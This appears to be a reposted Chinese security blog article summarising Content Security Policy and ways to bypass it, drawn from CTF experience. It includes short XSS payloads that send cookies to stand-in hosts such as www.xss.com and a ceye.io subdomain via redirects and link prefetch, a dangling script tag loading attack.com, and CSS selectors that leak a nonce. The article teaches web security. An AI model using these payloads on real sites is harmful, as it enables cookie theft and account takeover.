专栏首页信安之路绕过内容安全策略总结

绕过内容安全策略总结

本文作者:hurricane618(来自读者投稿)

今年的 0CTF 预选赛 6 道 web 题,其中三道都涉及 CSP 的知识点,简直可怕。。。这次趁着空闲时间就稍稍总结一下 CSP 绕过方面的知识,无论是对以后 CTF 比赛还是工作都很有帮助。

CSP 的基础

CSP 的全称 Content Security Policy,用来防御 XSS 攻击的技术。它是一种由开发者定义的安全性政策性申明,通过 CSP 指定可信的内容来源,让 WEB 处于一个安全的运行环境中。

一个 CSP 头由多组 CSP 策略组成,中间由分号分隔,如下所示:

Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'

其中每一组策略包含一个策略指令和一个内容源列表。策略指令有如下选项:

内容源有如下选项:

内容源有三种:源列表、关键字和数据,其中 *,*.foo.com,abc.foo.com,https://a.com,https: 属于源列表。'none','self','unsafe-inline','unsafe-eval' 属于关键字。data:,mediastream: 属于数据。

例子 1:

Content-Security-Policy: default-src 'self' trustedscripts.foo.com

意思就是默认的内容源必须为同源或者是 trustedscripts.foo.com

例子 2:

Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:

图片源可以为同源内容或者是 data: 引用的资源,媒体源必须使用 mediastream: 引用,除此以外的都执行默认内容源判断,必须为同源内容。更加详细的可以看:

https://lorexxar.cn/2016/08/08/ccsp/

一个在线的 CSP 头部生成器可以帮助我们深入理解

https://www.cspisawesome.com

CSP 的进化--nonce script CSP 和 strict-dynamic

这是 Google 团队 2016 年在 CSP is Dead, Long live CSP:

https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf

中正式提出的 CSP 种类,为了解决 CSP 爆出的各种各样的问题。

nonce script CSP

动态生成 nonce 字符串,只有包含 nonce 字段并字符串相等的 script 块可以被执行

 <?phpHeader("Content-Security-Policy: script-src 'nonce-".$random." '");?><script nonce="<?php echo $random?>">

这个字符串可以在后端实现,每次请求都重新生成,这样就可以无视哪个域是可信的,保证所加载的任何资源都是可信的,并且还能拦截后面插入的 script。

strict-dynamic

Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic'

SD 意味着可信 js 生成的 js 代码是可信的。

这个 CSP 规则主要是用来适应各种各样的现代前端框架,通过这个规则,可以大幅度避免因为适应框架而变得松散的 CSP 规则。

CSP Bypass 的方法总结

CSP 对前端攻击的防御主要有两个:

1、限制 js 的执行。

2、限制对不可信域的请求。

接下来的多种 Bypass 手段也是围绕这两种的

url 跳转

利用 url 跳转,回避严格的 CSP。

在 default-src 'none' 的情况下,可以使用 meta 标签实现跳转

 <meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

在允许 unsafe-inline 的情况下,可以用 window.location,或者 window.open 之类的方法进行跳转绕过

 <script>  window.location="http://www.xss.com/x.php?c=[cookie]";</script>

<a> 标签配合站内的某些可控 JS 点击操作来跳转

 <script>  $(#foo).click()</script><a id="foo" href="xxxxx.com">

利用网站本身的跳转接口

http://foo.com/jmp.php?url=attack.com

<link>标签预加载

CSP 对 link 标签的预加载功能考虑不完善。在 Chrome 下,可以使用如下标签发送 cookie 或者其他数据

 <link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">

在Firefox下无法用prefetch,因为Firefox有更高的安全规范,但是我们可以使用其他的方式,比如dns-prefetch,将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie

 <link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">

link 标签除了这两种 rel,还有 preconnect、prerender、subresource、preload 等

利用浏览器补全

有些网站限制只有某些脚本才能使用,往往会使用 <script> 标签的 nonce 属性,只有 nonce 一致的脚本才生效,比如 CSP 设置成下面这样

Content-Security-Policy: default-src 'none';script-src 'nonce-abc'

那么当脚本插入点为如下的情况时

 <p>插入点</p><script nonce="abc">document.write('CSP');</script>

可以插入

 <script src=//attack.com a="

这里利用浏览器的容错机制会拼成一个新的 script 标签,其中的 src 可以自由设定

 <p><script src=//attack.com a="</p><script" nonce="abc">document.write('CSP');</script>

利用 DOM XSS

如果 JS 存在操作 location.hash 导致的 XSS,那么这样的攻击请求不会经过后台,那么 nonce 后的随机值就不会刷新。可以见下面 lorexxar 师傅的博文:

https://lorexxar.cn/2017/05/16/nonce-bypass-script/

如果有 DOM 操作可以插入 HTML 并且可以控制插入的 HTML 内容,那么也可以绕过 CSP

利用 CSS 静态 xss 获取 nonce 值

利用 CSS 选择器来逐字节获取信息,^= 从头部判断

 *[attribute^="a"]{background:url("record?match=a")}*[attribute^="b"]{background:url("record?match=b")}*[attribute^="c"]{background:url("record?match=c")}

比如确定第一位为 c,那么就会继续下面的步骤

 *[attribute^="ca"]{background:url("record?match=ca")}*[attribute^="cb"]{background:url("record?match=cb")}*[attribute^="cc"]{background:url("record?match=cc")}

由于是 CSS 的变化,没有引起服务器重新请求,所以 nonce 的值不会改变,偷取值后即可执行我们的 script

利用跨域传输数据

利用一些跨域传输的方法来引入 JS,导致执行

具体的可以看看呆子不开口的乌云大会 PPT

http://pan.baidu.com/s/1pLCfCWr

和 0CTF2018 预选赛中的 h4xors.club2

https://lorexxar.cn/2018/04/10/0ctf2018-club2/

利用文件上传执行 JS

Content-Security-Policy: default-src 'self'; script-src 'self'

针对只能加载同域下 script 的 CSP 策略,如果有上传点可以控制,那么可以在其中夹杂 js 代码,然后引用该文件完成执行。

可以参考前几天梅子酒师傅写的《上传 Wave 文件绕过 CSP》,执行 JS

结语

可以看到 CSP 的绕过比较看重实际场景,不同的情况下有着不同的绕过方法。

作者能力有限,如果文章中有什么问题,欢迎交流。最后,恭喜 RNG!

Reference

https://lorexxar.cn/2017/05/09/CSP%20Is%20Dead,%20Long%20Live%20CSP!%20On%20the%20Insecurity%20of%20Whitelists%20and%20the%20Future%20of%20Content%20Security%20Policy/

https://lorexxar.cn/2017/10/25/csp-paper/#0x02-CSP%EF%BC%88Content-Security-Policy%EF%BC%89

https://www.jianshu.com/p/f1de775bc43e

https://paper.seebug.org/91/

http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html

https://lorexxar.cn/2017/05/16/nonce-bypass-script/

https://lorexxar.cn/2016/08/08/ccsp/

本文分享自微信公众号 - 信安之路(xazlsec),作者:hurricane618

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-05-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 使用 Wave 文件绕过 CSP 策略

    CSP 全称 Content Security Policy,即内容安全策略。CSP 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括 XSS 和注入...

    信安之路
  • Linux本地信息收集

    我们在获取到webshell之后,经常会遇到Linux的操作系统,这是我们需要对Linux系统本地的敏感资源进行信息收集,下面就是一些有用的信息获取方式。

    信安之路
  • SEACMS 代码审计后台漏洞两则

    特殊时期在家都无聊死了,到 CNVD 的网站上看到 seacms 出了一个鸡肋后台的 SQL 注入。想来闲来无事,就下载一套源码看看。漏洞成因很简单很简单,那为...

    信安之路
  • 解决innerHTML插入js不运行问题

    有两个功能, 一个是可以获取指定DOM的HTML元素, 另一个就是替换指定DOM的HTML元素

    治电小白菜
  • 【技术创作101训练营】innerHTML插入运行js字符串问题探究

    有两个功能, 一个是可以获取指定DOM的HTML元素, 另一个就是替换指定DOM的HTML元素

    治电小白菜
  • 【观点】经济学人智库:是什么让大数据落地踟蹰不前?

    近日,在2016百分点数据与价值国际论坛上,EIU(全称The Economist Intelligence Unit,经济学人智库)亚洲咨询总监Alexan...

    小莹莹
  • 云数据仓库是什么样子的?

    当数据仓库可以处理非结构化数据,而数据湖可以运行分析时,组织如何决定使用哪种方法?这取决于其需要采用数据回答新问题的频率。

    静一
  • 快进快出的餐饮业,正在被大数据“占领”

    消费升级的风刮起来,餐饮行业自然也随之动荡。 在数据侠实验室18期“2017上海城市大数据活跃报告”发布活动上,美团点评餐饮生态战略发展部负责人白秀峰表示,近些...

    DT数据侠
  • 关于数据分析的一点思考

    之前看过一些产品经理的书,不同时期好产品的定义是不相同的,但是相同的是产品经理都需要做到三要素:用户体验、企业需求和技术。仔细思考其中的逻辑,发现这是将产品确定...

    企鹅号小编
  • Bypass unsafe-inline mode CSP

    [+] Author: evi1m0 [+] Team: n0tr00t security team [+] From: http://www.n0tr0...

    Seebug漏洞平台

扫码关注云+社区

领取腾讯云代金券